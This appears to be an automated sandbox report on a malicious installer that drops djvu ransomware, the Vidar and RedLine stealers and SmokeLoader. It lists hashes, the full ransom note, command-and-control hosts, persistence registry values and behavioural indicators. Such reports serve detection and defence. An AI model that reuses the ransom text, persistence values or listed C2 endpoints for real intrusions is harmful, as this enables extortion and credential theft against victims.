djvu | 56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11

Target

setup_x86_x64_install.exe
Size

4.0MB
MD5

73491325fde5366b31c09da701d07dd6
SHA1

a4e1ada57e590c2df30fc26fad5f3ca57ad922b1
SHA256

56a461a6cc8ad9c10cdc1d19a12d5deceb9ebefb0c871a3fc2eb83c466947a11
SHA512

28b5008c542e9c486529934f74774d6d2de4b98531483b24c3c7cf82bf2214b959a1feb0085014026dd278d2a18ac6ae8a0e5a7ebb36be28abf6dccbf2d38e88

Malware Config

Extracted

Path

C:\_readme.txt

Family

djvu

Ransom Note

ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-vtoEIhR0SI Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0334gSd743dfRiXRqq62TeogIfmpihYZJ6wDmuUVD07WwczX6Bm

Emails

[email protected]

URLs

https://we.tl/t-vtoEIhR0SI

Extracted

Family

vidar

Version

40.7

Botnet

706

https://petrenko96.tumblr.com/

Attributes

profile_id
706

Extracted

Family

redline

Botnet

janesam

65.108.20.195:6774

Extracted

Family

smokeloader

Version

2020

http://varmisende.com/upload/

http://fernandomayol.com/upload/

http://nextlytm.com/upload/

http://people4jan.com/upload/

http://asfaltwerk.com/upload/

rc4.i32

Signatures

Djvu Ransomware
Ransomware which is a variant of the STOP family.
ransomware djvu

Modifies WinLogon for persistence 2 TTPs 11 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\", \"C:\\Documents and Settings\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\", \"C:\\Documents and Settings\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Boot\\en-US\\setup.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\", \"C:\\Documents and Settings\\dllhost.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\", \"C:\\Documents and Settings\\WmiPrvSE.exe\", \"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\", \"C:\\Documents and Settings\\dllhost.exe\", \"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\", \"C:\\Boot\\en-US\\setup.exe\", \"C:\\Users\\Default\\Links\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM\\AdobeARM.exe\", \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Resources\\OneDriveStandaloneUpdater.exe\", \"C:\\Windows\\System32\\httpapi\\WerFault.exe\", \"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\", \"C:\\Boot\\bg-BG\\csrss.exe\""	DriverRealtekHDmaster.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies system executable filetype association 2 TTPs 3 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1042

description	ioc	Process
Key deleted	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Key created	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}"	OneDriveSetup.exe

Process spawned unexpected child process 14 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1960	3164	rundll32.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4836	3164	rundll32.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9708	3164	rundll32.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8768	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7224	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	7740	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5908	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8472	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6264	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	8736	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5396	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2552	3164	schtasks.exe	9
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	9944	3164	schtasks.exe	9

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 1 IoCs

resource	yara_rule
behavioral6/memory/920-272-0x0000000005730000-0x000000000574D000-memory.dmp	family_redline

Registers COM server for autorun 1 TTPs
persistence

Registry Run Keys / Startup Folder
T1060
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral6/files/0x000400000001ab59-164.dat	family_socelars
behavioral6/files/0x000400000001ab59-143.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 5028 created 5816	5028	WerFault.exe	202
PID 6248 created 4740	6248	WerFault.exe	101
PID 7640 created 4400	7640	WerFault.exe	114
PID 596 created 5420	596	WerFault.exe	141

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 7152 created 1712	7152	svchost.exe	160
PID 7152 created 6232	7152	svchost.exe	412
PID 7152 created 1956	7152	svchost.exe	409

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral6/memory/4740-241-0x0000000000A20000-0x0000000000AF4000-memory.dmp	family_vidar
behavioral6/memory/4740-244-0x0000000000400000-0x00000000004D7000-memory.dmp	family_vidar

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral6/files/0x000500000001ab4e-122.dat	aspack_v212_v242
behavioral6/files/0x000500000001ab50-127.dat	aspack_v212_v242
behavioral6/files/0x000500000001ab50-129.dat	aspack_v212_v242
behavioral6/files/0x000500000001ab4e-124.dat	aspack_v212_v242
behavioral6/files/0x000400000001ab4d-123.dat	aspack_v212_v242
behavioral6/files/0x000400000001ab4d-130.dat	aspack_v212_v242
behavioral6/files/0x000400000001ab4d-131.dat	aspack_v212_v242

Blocklisted process makes network request 58 IoCs

flow	pid	Process
109	5480	cmd.exe
119	5480	cmd.exe
129	5480	cmd.exe
142	5480	cmd.exe
153	5480	cmd.exe
155	5480	cmd.exe
156	5480	cmd.exe
157	5480	cmd.exe
214	3972	powershell.exe
214	3972	powershell.exe
553	8560	MsiExec.exe
555	8560	MsiExec.exe
557	8560	MsiExec.exe
559	8560	MsiExec.exe
561	8560	MsiExec.exe
562	8560	MsiExec.exe
563	8560	MsiExec.exe
564	8560	MsiExec.exe
565	8560	MsiExec.exe
566	8560	MsiExec.exe
568	8560	MsiExec.exe
569	8560	MsiExec.exe
570	8560	MsiExec.exe
571	8560	MsiExec.exe
572	8560	MsiExec.exe
573	8560	MsiExec.exe
574	8560	MsiExec.exe
575	8560	MsiExec.exe
576	8560	MsiExec.exe
577	8560	MsiExec.exe
578	8560	MsiExec.exe
579	8560	MsiExec.exe
580	8560	MsiExec.exe
581	8560	MsiExec.exe
583	8560	MsiExec.exe
584	8560	MsiExec.exe
585	8560	MsiExec.exe
587	8560	MsiExec.exe
588	8560	MsiExec.exe
590	8560	MsiExec.exe
592	8560	MsiExec.exe
594	8560	MsiExec.exe
595	8560	MsiExec.exe
597	8560	MsiExec.exe
598	8560	MsiExec.exe
599	8560	MsiExec.exe
600	8560	MsiExec.exe
601	8560	MsiExec.exe
602	8560	MsiExec.exe
603	8560	MsiExec.exe
604	8560	MsiExec.exe
605	8560	MsiExec.exe
607	8560	MsiExec.exe
608	8560	MsiExec.exe
609	8560	MsiExec.exe
611	8560	MsiExec.exe
612	8560	MsiExec.exe
613	8560	MsiExec.exe

Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	Ze2ro.exe

Executes dropped EXE 64 IoCs

pid	Process
2784	setup_installer.exe
4048	setup_install.exe
1540	Sun19262b9e49ad.exe
4388	Sun193fda712d9f1.exe
988	Sun19e4ade31b2a.exe
4136	Sun1917b8fb5f09db8.exe
4712	Sun1905815e51282417.exe
4748	Sun1908b94df837b3158.exe
4740	Sun19eb40faaaa9.exe
4896	Sun19de8ff4b6aefeb8.exe
4880	3002.exe
4940	Sun198361825f4.exe
920	Sun195a1614ec24e6a.exe
1056	Sun1966fb31dd5a07.exe
1664	Sun1966fb31dd5a07.tmp
1520	LzmwAqmV.exe
3968	6331290.scr
3764	Chrome 5.exe
1404	Ze2ro.exe
3320	PublicDwlBrowser1100.exe
4760	2.exe
3524	xp8HI_bx8rPBYFlZRfG1vMN3.exe
4400	setup.exe
4220	7369647.scr
5012	udptest.exe
348	5.exe
4576	LivelyScreenRecF18.exe
1592	setup_2.exe
4880	3002.exe
1628	4587407.scr
2732	setup_2.tmp
408	jhuuee.exe
5404	BearVpn 3.exe
5420	t0TWzXF0UmHxn2kAnmhu_AuL.exe
5480	cmd.exe
5620	1700129.scr
5632	2082185.exe
5732	2lzrdpLz3EwEV8Dc9XpMntEo.exe
5796	emWhgHV8U1Es49MkR7UHHWse.exe
5852	vJsRieSJjWMc0EdygYU_6eeY.exe
5916	Conhost.exe
5976	7E47t5OZ9Y2AslGLa71zs0Ko.exe
6116	F26HMOE0VyruSatwyckTLw9O.exe
784	bjR2Xj9UB1KeMGiahQDr2ahv.exe
1712	uovrLnOqiZlNa82B7YD2cASD.exe
8	setup_2.tmp
5884	lWqFOBNzObqshYcVbU9EPdxn.exe
4408	VDKr3kJPXY5MiEh2sgBh3rKq.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6232	Conhost.exe
6412	4824160.exe
6940	services64.exe
7040	hnLz9ujGWUUQxBJp7pt3qDvv.exe
7032	emBhBCB9JrvjwUss_kimXWYl.exe
7140	496239.exe
7056	emWhgHV8U1Es49MkR7UHHWse.exe
5056	vJsRieSJjWMc0EdygYU_6eeY.exe
6044	3002.exe
6704	8445878.exe
6968	cm3.exe
6836	md8_8eus.exe
6952	inst001.exe
1636	emWhgHV8U1Es49MkR7UHHWse.exe
440	FElanqa0GqBIMxoehkuxM992.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 8 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\RedoMeasure.crw => C:\Users\Admin\Pictures\RedoMeasure.crw.koom	E544.exe
File renamed	C:\Users\Admin\Pictures\SelectRestore.raw => C:\Users\Admin\Pictures\SelectRestore.raw.koom	E544.exe
File renamed	C:\Users\Admin\Pictures\UnprotectClear.raw => C:\Users\Admin\Pictures\UnprotectClear.raw.koom	E544.exe
File opened for modification	C:\Users\Admin\Pictures\ApproveSave.tiff	E544.exe
File renamed	C:\Users\Admin\Pictures\ApproveSave.tiff => C:\Users\Admin\Pictures\ApproveSave.tiff.koom	E544.exe
File renamed	C:\Users\Admin\Pictures\ClearExpand.tif => C:\Users\Admin\Pictures\ClearExpand.tif.koom	E544.exe
File renamed	C:\Users\Admin\Pictures\GrantSkip.crw => C:\Users\Admin\Pictures\GrantSkip.crw.koom	E544.exe
File renamed	C:\Users\Admin\Pictures\ReceiveHide.png => C:\Users\Admin\Pictures\ReceiveHide.png.koom	E544.exe

Checks BIOS information in registry 2 TTPs 36 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hnLz9ujGWUUQxBJp7pt3qDvv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7E47t5OZ9Y2AslGLa71zs0Ko.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4587407.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	F26HMOE0VyruSatwyckTLw9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hnLz9ujGWUUQxBJp7pt3qDvv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	emBhBCB9JrvjwUss_kimXWYl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	D332.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4587407.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4824160.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	496239.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	200D.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	gubOpckawV9YiBQZQEGZyim0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1700129.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	wwi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2634847.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7369647.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2634847.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7E47t5OZ9Y2AslGLa71zs0Ko.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	emBhBCB9JrvjwUss_kimXWYl.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	496239.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6807.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2lzrdpLz3EwEV8Dc9XpMntEo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	gubOpckawV9YiBQZQEGZyim0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8445878.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wwi.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2826204.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2826204.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	200D.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7369647.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1700129.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	F26HMOE0VyruSatwyckTLw9O.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4824160.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8445878.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	D332.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6807.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2lzrdpLz3EwEV8Dc9XpMntEo.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Sun1917b8fb5f09db8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation	Vaerigipaeky.exe

Loads dropped DLL 56 IoCs

pid	Process
4048	setup_install.exe
4048	setup_install.exe
4048	setup_install.exe
4048	setup_install.exe
4048	setup_install.exe
4048	setup_install.exe
1664	Sun1966fb31dd5a07.tmp
1400	rundll32.exe
2732	setup_2.tmp
8	setup_2.tmp
440	FElanqa0GqBIMxoehkuxM992.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
6224	gubOpckawV9YiBQZQEGZyim0.exe
5436	rundll32.exe
8876	installer.exe
8876	installer.exe
8876	installer.exe
2260	MsiExec.exe
2260	MsiExec.exe
9728	rundll32.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8528	build2.exe
8528	build2.exe
9740	9E7C.exe
9740	9E7C.exe
9740	9E7C.exe
9740	9E7C.exe
9740	9E7C.exe
8560	MsiExec.exe
8560	MsiExec.exe
8560	MsiExec.exe
8876	installer.exe
8560	MsiExec.exe
8560	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
9344	MsiExec.exe
8560	MsiExec.exe
7712	FileSyncConfig.exe
7712	FileSyncConfig.exe
7712	FileSyncConfig.exe
7712	FileSyncConfig.exe
7712	FileSyncConfig.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
9328	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral6/files/0x000500000001ab52-285.dat	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 29 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Windows\\System32\\KBDCZ\\spoolsv.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Documents and Settings\\WmiPrvSE.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Recovery\\WindowsRE\\fontdrvhost.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\setup = "\"C:\\Boot\\en-US\\setup.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\""	OneDriveSetup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Boot\\bg-BG\\csrss.exe\""	DriverRealtekHDmaster.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeCP = "\"C:\\Windows\\SystemApps\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\resources\\MicrosoftEdgeCP.exe\""	DriverRealtekHDmaster.exe
